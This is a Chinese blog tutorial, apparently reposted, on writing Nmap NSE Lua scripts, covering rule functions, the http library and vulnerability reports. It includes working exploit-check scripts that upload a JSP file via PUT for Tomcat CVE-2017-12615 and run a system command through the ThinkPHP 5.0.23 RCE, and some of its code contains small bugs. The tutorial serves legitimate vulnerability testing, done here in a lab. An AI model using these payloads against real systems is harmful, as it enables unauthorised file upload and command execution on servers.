Nmap是一个强大的扫描工具,是一个开源的工具(钦佩开源开发者)
脚本位置位于:
Ubuntu:
/usr/share/nmap/scripts/
MAC:
/usr/local/Cellar/nmap/7.70/share/nmap/scripts
看来Mac使用Brew下载的东西都在 /usr/local/Cellar/ 里面
?
自带的脚本数量很多
接下来是他的脚本参数
SCRIPT SCAN:
-sC: equivalent to --script=default
--script=<Lua scripts>: <Lua scripts> is a comma separated list of
directories, script-files or script-categories
--script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
--script-args-file=filename: provide NSE script args in a file
--script-trace: Show all data sent and received
--script-updatedb: Update the script database.
--script-help=<Lua scripts>: Show help about scripts.
<Lua scripts> is a comma-separated list of script-files or
script-categories.
-sC
是指采用默认配置扫描与--script=default等价
--script=脚本名
(一般位于Scripts目录下)
ls | sed 's/.nse//' > name.list
可以快速将我们所有的脚本名字整出来
?
--script-args=ker1=value1,key2=value2
该参数是用来传递脚本里面的参数
-–script-args-file=filename
使用文件夹来为脚本提供参数
--script-trace
如果没有设置该参数,则所有的脚本收发请求过程都会显示
--script-updatedb
Script目录自带一个script.db,该文件中保存了当前Nmap可用的脚本类似于一个小型数据库,如果我们开启nmap并且调用了此参数,则nmap会自行扫描scripts目录中的扩展脚本,进行数据库更新
--script-help=脚本名
,调用该参数后,Nmap会输出该脚本名称对应的脚本使用参数,以及详细介绍信息。
-sC参数调用的默认脚本
https://nmap.org/nsedoc/categories/default.html
确实挺多的
Nmap在调用任何脚本之前都会执行nse_main.lua
这个脚本,里面定义了一些脚本的执行规则,首先是在大约64行左右吧
?
prerule //再扫描任何主机之前,prerule函数执行一次
hostrule //在扫描一个主机之后运行一次
portrule //在扫描一个主机的端口后运行一次
postrule //在全部扫描完毕后运行一次
可以写一个脚本实验一下
prerule=function()
print("prerule()")
end
hostrule=function()
print("hostrule()")
end
portrule=function()
print("portrule()")
end
action=function()
print("action()")
end
postrule=function()
print("postrule()")
end
使用一下实验一下结果
?
action函数是在portrule
或hostrule
返回true后自动执行的函数
local stdnse = require "stdnse"
prerule=function()
end
hostrule=function(host)
return true
end
portrule=function(host,port)
return true
end
action = function()
print("[*]action ...")
end
postrule=function()
end
 
在进行主机扫描的时候我们会执行hostrule
函数,这个还有一个形参,就是host(在Lua语言中它是一种叫做 表 的数据类型,就当他是php中的关联数组吧),里面包含一些信息
?
同样的对于portrule
也是一样的
?
不过有两个参数host
与port
在stdnse包中有一个函数叫output_table(),它能够返回一个table数据类型,通过操作这个table,将Key->Value的对应关系数据或列表数据放入,再return,就可以输出漂亮的格式
local stdnse = require "stdnse"
http_table = stdnse.output_table()
prerule=function()
end
hostrule=function(host)
end
portrule=function(host,port)
if(port.number == 53 or port.number == 443)then
http_table.http_host_mac = stdnse.format_mac(host.mac_addr)
return true
end
end
action=function()
return http_table
end
postrule=function()
end
?
一般做漏洞验证的时候,就需要使用Http包来发送请求信息,最后根据结果来判断是否有漏洞
响应表中主要涵盖了:HTTP状态码、HTTP响应头、HTTP版本、HTTP原始响应头、Cookies、HTTP响应主体内容(body)等
| Response:
| status: 200
| header:
| content-length: 0
| allow: POST,OPTIONS,HEAD,GET
| connection: close
| content-type: text/html
| server: Apache/2.4.29 (Debian)
| date: Fri, 06 Jul 2018 07:02:13 GMT
| ssl: false
| body:
| cookies:
|
| status-line: HTTP/1.1 200 OK\x0D
|
| rawheader:
| Date: Fri, 06 Jul 2018 07:02:13 GMT
| Server: Apache/2.4.29 (Debian)
| Allow: POST,OPTIONS,HEAD,GET
| Content-Length: 0
| Connection: close
| Content-Type: text/html
|
|_ version: 1.1
Options表主要用于设置HTTP请求时的超时时间、Cookie、请求头、HTTP认证、页面缓存、地址类型(IPV4/IPV6)、是否验证重定向
{
timeout:
header:{"Content-Type":"",...},
cookies:{{"name","value","path"},...},
auth:{username:"",password:""},
bypass_cache:true,
no_cache:true,
no_cache_body:true,
any_af:true,
redirect_ok:true
}
使用http包中的generic_request
可以发送HTTP请求
参数如下
host : host表
port : port 表
method : HTTP方法,例如:GET、POST、HEAD…
path : 请求路径,默认是根路径“/”
options : 用于设置请求相关的Cookie、超时时间、header
发送OPTIONS请求获取目标服务支持哪些HTTP方法
local stdnse = require("stdnse")
local http = require("http")
prerule=function()
end
hostrule=function()
return false
end
portrule=function(host,port)
if(port.number == 12345) then
return true
end
end
action=function(host,port)
local result = http.generic_request(host,port,"OPTIONS","/",nil)
if(result.status == 200 ) then
local allow=stdnse.oupput_table()
allow.allowMethod=result.header["allow"]
return allow
end
en
发送Get请求(就是generic_request函数少了一个、method参数)
local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
return false
end
portrule=function(host,port)
if(port.number == 80) then
return true
end
return false
end
action = function(host,port)
local result = http.get(host,port,"/nmap")
if(result.status == 404)then
local status = stdnse.output_table()
status.response_line = result["status-line"]
return status
end
end
postrule=function()
end
发送POST请求
参数如下
host : host表
port : port 表
path : 请求路径,默认是根路径“/”
options : 用于设置请求相关的Cookie、超时时间、header
ignored : 是否忽略向后兼容性
postdata : post提交数据,可以是一个表,也可以是一个字符串,具体形式如下:
postdata有两种表现形式
username=admin&password=admin
或者:
local data = {}
data.username = "admin"
data.password = "admin"
local stdnse = require("stdnse")
local http = require("http")
hostrule=function(host)
return false
end
portrule=function(host,port)
if(port.number == 12345) then
return true
end
return false
end
action=function(host,port)
local data = {}
data.username = "admin"
data.password = "admin"
local result = http.post(host,port,"/1.php",nil,true,data)
if(result.status==200) then
local message = stdnse.output_table()
message.response_line= result["body"]
return message
end
end
像http.generic_request
以及http.post
和http.get
等都返回一个响应表,我们可以从中取出一些数据来验证POC或者EXP等是否有效
编写CVE-2017-12615
的验证脚本
这里面我用了Vulhub
的环境来进行复现
这个漏洞就是利用PUT像服务器恶意上传文件,并且上传成功后的状态码为201
?
local stdnse = require("stdnse")
local http = require("http")
local
hostrule=function()
end
portrule=function(host,port)
local num_port = {80,8080,8090,8899}
for test in pairs(num_port)do
if(port.number == num_port[test])then
return true
end
end
end
action=function(host,port)
local poc_string="Mikasa"
local file_name=string.format("/%d.jsp",math.random(9999))
local put_upload=http.put(host,port,file_name .. "/",nil,poc_string)
local output=stdnse.output_table()
if(put_upload.status == 201)then
output.shell_name=file_name
return output
end
return false
end
postrule=function()
end
?
?
上面的例子是根据我们http状态码来进行判断的,但是在检测的时候大多数都是对响应内容的排查,这时候就要就要学习一下字符串操作函数以及HTTP包自带的函数
response_contains函数,用于在响应表中匹配字符串,参数如下:
response : 响应表,可以是(http.get、http.post、http. pipeline_go、http.head等函数的返回值)
pattern : 字符串匹配模式,可参考lua手册
case_sensitive : 是否区分大小写,默认值为false,不区分
返回值:
match_state : 匹配成功为true,匹配失败为false
Lua字符匹配
?
?
lua中的特殊字符是%.^$+-*?
比如上方我们可以验证是否我们上传的文件内容是否是正确的
local stdnse = require("stdnse")
local http = require("http")
local
hostrule=function()
end
portrule=function(host,port)
local num_port = {80,8080,8090,8899}
for test,test233 in pairs(num_port)do
if(port.number == test233)then
return true
end
end
end
action=function(host,port)
local shell_name=string.format("%sQAQ%d.jsp","/",math.random(9999))
local put_upload=http.put(host,port,shell_name .. "/",nil,"CVE-2017-12615")
local status=stdnse.output_table()
if(put_upload.status== 201)then
status.shell_name=shell_name
local get_test=http.get(host,port,shell_name)
if(get_test and http.response_contains(get_test,"CVE%-2017%-12615"))then
return status
end
return false
end
return false
end
更多库可以参考
https://nmap.org/nsedoc/lib/
上面都是根据别人博客学习总结的,自己也想写一个,但不知道写什么,于是就拿来写Thinkphp吧
local stdnse = require("stdnse")
local http = require("http")
prerole=function()
end
hostrule=function()
end
portrule=function(host,port)
local port_num={80,443,8080}
for test,ppp in pairs(port_num)do
if(port.number == ppp)then
return true
end
end
end
action=function(host,port)
local uri="/index.php?s=captcha"
local data = {}
data["_method"] = "__construct"
data["filter[]"] = "system"
data["method"] = "get"
data["server[REQUEST_METHOD]"] = "echo Mikasa > 2.txt"
local qqqq=http.post(host,port,uri,nil,true,data)
local uri="/2.txt"
local status = stdnse.output_table()
local post_data =http.get(host,port,uri)
if(post_data.status == 200 )then
status.vlun="ThinkPhpRce"
return status
end
end
?
这个其实不完美,哎,我的水平就这样...
一个完整的NSE脚本应该包含以下字段
description:脚本的描述
以及catagories:脚本的分类
和rule:脚本触发规则
还有action:脚本执行内容
上面完整的代码如下
local stdnse = require("stdnse")
local http = require("http")
local vulns = require("vulns")
description = [[Chink ThinkPhp5.0.23-Rce]]
author = "Mikasa"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln"}
local vuln = {
title = "ThinkPhp5.0.23-Rce",
state = vulns.STATE.NOT_VULN,
description = [[Chink ThinkPhp5.0.23-Rce]],
IDS = {
CVE = ""
},
references = {
""
},
dates = {
disclosure = { year = '2020', month = '3', day = '08' }
}
}
prerole=function()
end
hostrule=function()
end
portrule=function(host,port)
local port_num={80,443,8080}
for test,ppp in pairs(port_num)do
if(port.number == ppp)then
return true
end
end
end
action=function(host,port)
local vuln_report = vulns.Report:new(SCRIPT_NAME,host,port)
local uri="/index.php?s=captcha"
local data = {}
data["_method"] = "__construct"
data["filter[]"] = "system"
data["method"] = "get"
data["server[REQUEST_METHOD]"] = "echo Mikasa > 5.txt"
local qqqq=http.post(host,port,uri,nil,true,data)
local uri="/2.txt"
local status = stdnse.output_table()
local post_data =http.get(host,port,uri)
if(post_data.status == 200 )then
--status.vlun="ThinkPhpRce"
vuln.state = vulns.STATE.VULN
--return status
return vuln_report:make_output(vuln)
end
end
?
这里我们用漏洞报告的形式取代了以前的output_table()
关于Nmap脚本的学习就暂时到这里了
https://github.com/shark1990/nmapScripts/blob/master/webLogic/CVE-2017-10271/CVE-2017-10271.nse
https://zhuanlan.zhihu.com/p/40681245
https://zhuanlan.zhihu.com/p/40677048
https://zhuanlan.zhihu.com/p/40678654
https://zhuanlan.zhihu.com/p/40681245
https://lengjibo.github.io/nmapnse/
多谢各位大佬写的一系列文章
原文:https://www.cnblogs.com/Mikasa-Ackerman/p/Nmap-jiao-ben-bian-xie.html